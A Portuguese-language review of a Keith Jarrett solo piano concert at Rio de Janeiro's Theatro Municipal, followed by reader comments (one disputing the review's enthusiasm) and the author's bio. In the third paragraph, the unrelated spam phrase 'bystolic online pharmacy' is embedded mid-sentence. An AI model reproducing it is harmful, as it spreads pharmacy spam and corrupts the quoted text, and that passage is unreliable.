Crítica

Esta noite se improvisa!

Concerto antológico do jazzman norte-americano Keith Jarrett deixa público do Theatro Municipal do Rio de Janeiro em estado de graça.


O artista vinha envolto em aura de diva. Pediam cuidados à imprensa sobre as perguntas, exigiam silêncio absoluto do público – nem tossir era permitido, pois o concerto seria gravado. Pairava certa tensão no ambiente quando adentrou o palco do Theatro Municipal do Rio de Janeiro, na noite de 24 de outubro, o pianista estadunidense Keith Jarrett. Ele chegou, sentou-se, levantou novamente, arrumou a banqueta do piano… Será um deboche autorreferenciado ou preciosismo extremado?

Artista de vasta e sólida trajetória no colorido universo do jazz, com voos rasantes e precisos pelo mundo da música erudita, Jarrett, nascido em 1945, veio ao Brasil para apresentações no Rio e em São Paulo como parte da série Jazz All Nights, promovida pela Dell’Arte. Os recitais, intitulados Solo piano improvisation concert, seguem a linha da renomada apresentação em Colônia, na Alemanha, que gerou o fundamental álbum Köln concert (1975). Em 2011, o público carioca pôde apreciar outra noite de improvisos, cuja gravação originou o CD duplo Live in Rio.

A tensão inicial dissolveu-se como um torrão de açúcar na água quando subiram ao ar as primeiras notas emitidas pelo piano do artista. Quase em transe, Jarrett, de óculos escuros (e juro que de olhos cerrados!), murmurava sons guturais, balançava-se bystolic online pharmacy sobre a banqueta, batia os pés marcando o ritmo e até batucava no instrumento.

Que artista é esse, que faz do silêncio a matéria-prima para a criação de melodias sublimes, frases inesquecíveis, variações rítmicas empolgantes, harmonias surpreendentes? Em que recônditos de seu corpo (ou seria de sua alma?) ele armazena tanta informação musical, guardada ao longo de uma carreira que começou aos 3 anos de idade, cujas células sonoras se aglutinam e avolumam como uma progressão geométrica a cada composição? Quantos dedos tem esse pianista, que vagueia pelas teclas do piano e nos faz passear em um campo coberto de alfazema?

Em mais de duas horas de apresentação, Jarrett criou, em inacreditáveis improvisos, tanto músicas com mais foco no ritmo como peças com melodia encantadora e linhas melódicas dignas dos standards de Porter ou Gershwin. O público, enlevado, foi conduzido pela mão para passear em criações temperadas com boogie-woogie e rhyhtm & blues, coloridas com lirismo e emoção como um pôr-do-sol, marcadas pelas dolorosas canções dos negros das plantations, perfumadas pela flor-de-lótus dos intervalos melódicos orientais e polvilhadas por influências de Rachmaninoff e bossa nova.

Difícil destacar pontos altos em um concerto da estatura do Everest, mas merecem menção a nona peça, logo após o intervalo, que causou tamanho afã na plateia a ponto de os aplausos atropelarem os derradeiros acordes (Jarrett, após a ovação, ainda perguntou: “gostaram desse final?” e repetiu as últimas notas, provocando mais aplausos), e a décima-primeira, com referências explícitas ao Samba de uma nota só (Jobim-Mendonça) que arrancaram urros extasiados do público. Não se pode chamar o artista de simpático (precisa?), mas ele ainda deliciou a audiência com dois bis: uma versão suingada de Summertime (Gershwin-Heyward) e, atendendo aos pedidos da plateia, improvisos sobre Over the rainbow (Arlen-Harburg).

Em mais um concerto memorável, Keith Jarrett exibiu seu talento virtuosístico como um atirador de facas, que se lança ao risco pela beleza do gesto, ou um ilusionista às avessas que, em vez de fazer desaparecer objetos com seus lenços coloridos, retira de sua cartola sonora redentoras doses de candura, lirismo, suingue, doçura e tantas outras emoções que surgem pouco a pouco e conquistam os olhos e ouvidos de uma audiência hipnotizada.

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14 Comments

  1. Querido Fabiano, para mim Jarret estará para sempre associado a Roma e a sua interpretação dos 24 Prelúdios & Fugas de Shostakóvitch. A relação entre Roma e os prelúdios é, para mim, um exercício puramente sentimental e privado, e tem a ver com o CD. Nunca o vi pessoalmente. Mas a partir de hoje, Jarret estará também associado a ti porque me senti como se estivesse ao teu lado no Teatro Municipal (por que insistem agora em escrever teatro com um “h” fora do seu tempo?), ali, acolhido e contente entre a manifestação de amizade, e a arte em estado puro. Muito obrigado, meu amigo, por compartilhar tamanha experiência.

  2. Meu caro Fabiano, que texto lindo!

    A tua virtuose com as palavras transborda sentimentos que me transportam para esse concerto memorável.

    Se não pude assistir ao espetáculo, sou agora brindado com outra performance, outro improviso interpretativo que também me emociona. Teclas com desenvoltura e maestria criando também um momento mágico.

    Li e reli o texto com admiração. Só posso agradecer pela bela surpresa dupla de me levar em alma e emoção ao concerto do Jarret e de me convidar a este teu lyric session.

    Abraços

    Gideon

  3. Querido Carlos, espero que possamos assistir, juntos, um dia, a um concerto do Jarrett. Sua companhia – real ou virtual – é sempre uma alegria e um privilégio. Obrigado pela visita.

  4. Caro Gideon, são meus os agradecimentos pela visita ao nosso site e pelos comentários cheios de elogios e carinho. Um grande abraço!

  5. Obrigado, Flavio. Fico feliz que tenha gostado do texto e que compartilhemos a admiração pelo jazzista. Um abraço!

  6. Oi Fabiano, eu estava lá e tive uma impressão um pouco diferente do show.
    Achei que a plateia não estava imersa no show e por conta disso o Jarret perdeu o entusiasmo, principalmente na segunda parte do espetáculo.
    Infelizmente o público não tem ‘educação’ para assistir a um espetáculo onde o silêncio absoluto é fundamental, assim como o desligamento de celulares (vi várias pessoas escrevendo msgs durante a apresentação) e a concentração no show. Eu estava lá em cima da plateia e senti essa atmosfera.
    O fato a que você se refere, de no final da música que ele repetir as notas, eu tive outra interpretação: o público aplaudiu antes de a música terminar (já não era a primeira vez que isso acontecia) e ele então fez uma ironia, do tipo, agora sim eu terminei.
    O desânimo do artista foi demonstrado quando ele no bis disse: “Não faço ideia do que tocar”, onde já se viu um músico que vive do improvizo não saber o que tocar (?), o no bis, tocar covers clássicos e mais do que batidos foi uma clara demonstração de insatisfação.
    O fato de ter sido numa quarta-feira também não ajudou, uma vez que a plateia estava cansada e preocupada com o horário, o que foi nítido quando ele voltou para o bis e várias pessoas já estavam se retirando ansiosamente do teatro, e se acomodaram nas escadas ou onde podiam. O show do ano passado foi num sábado e talvez não só por isso mas, tenha sido bem melhor, tanto que virou um cd. O show desse ano não viraria um cd de maneira nenhuma.
    Na minha concepção, o músico não sentiu a entrega da plateia (despreparada para esse tipo de apresentação) e fez um show sem muita empolgação, como um professor que dando uma aula, percebe a turma desinteressada, e perde na hora a energia de doação, principalmente quando esta vem da alma do artista. Você pode reparar que as músicas foram muito curtas, quando comparadas a de outros shows do Jarret, a plateia não teve paciência para deixá-lo entrar nos recantos mais profundos da improvisação, quando ele abaixava o volume para mudar a perspectiva da música, todos aplaudiam, então ele se levantava para receber os aplausos, mas sem ter ido onde queria. Para mim, isso foi nítido, de modo que saí um pouco frustrado do espetáculo.
    Parabéns pela página!!!!
    um abraço

  7. Querido Fabi, com este artigo, você brinda seus amigos, e seus leitores, com uma descrição rica e detalhada de mais uma de suas incursões pelo mundo da cultura e, em especial, da musicalidade. Sou sua fã, sabia? Obrigada por compartilhar, foi como se eu estivesse lá vivenciando tudo aquilo com você. beijo

  8. Puxa, Rômulo… que pena que a excelência do show, então, não foi uma unanimidade. Obrigado pela sua contribuição e um abraço!

  9. Que maravilha o seu artigo. O concerto deve ter sido igualmente maravilhoso. Gostaria de ter acesso a informações sobre essas preciosidades com antecedência. Estou assinando o Movimento.com. bjs

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Fabiano Gonçalves
Publicitário e roteirista (formado no Maurits Binger Film Institute - Amsterdã). Corroteirista do longa O Amor Está no Ar e de programas de TV (novela Chiquititas - 1998/2000). Redator na revista SuiGeneris, no site Escola24horas e no Departamento Nacional do Senac. Um dos fundadores do movimento.com, escreve também sobre televisão para o site teledossie.com.br. - E-mail: fabiano@movimento.com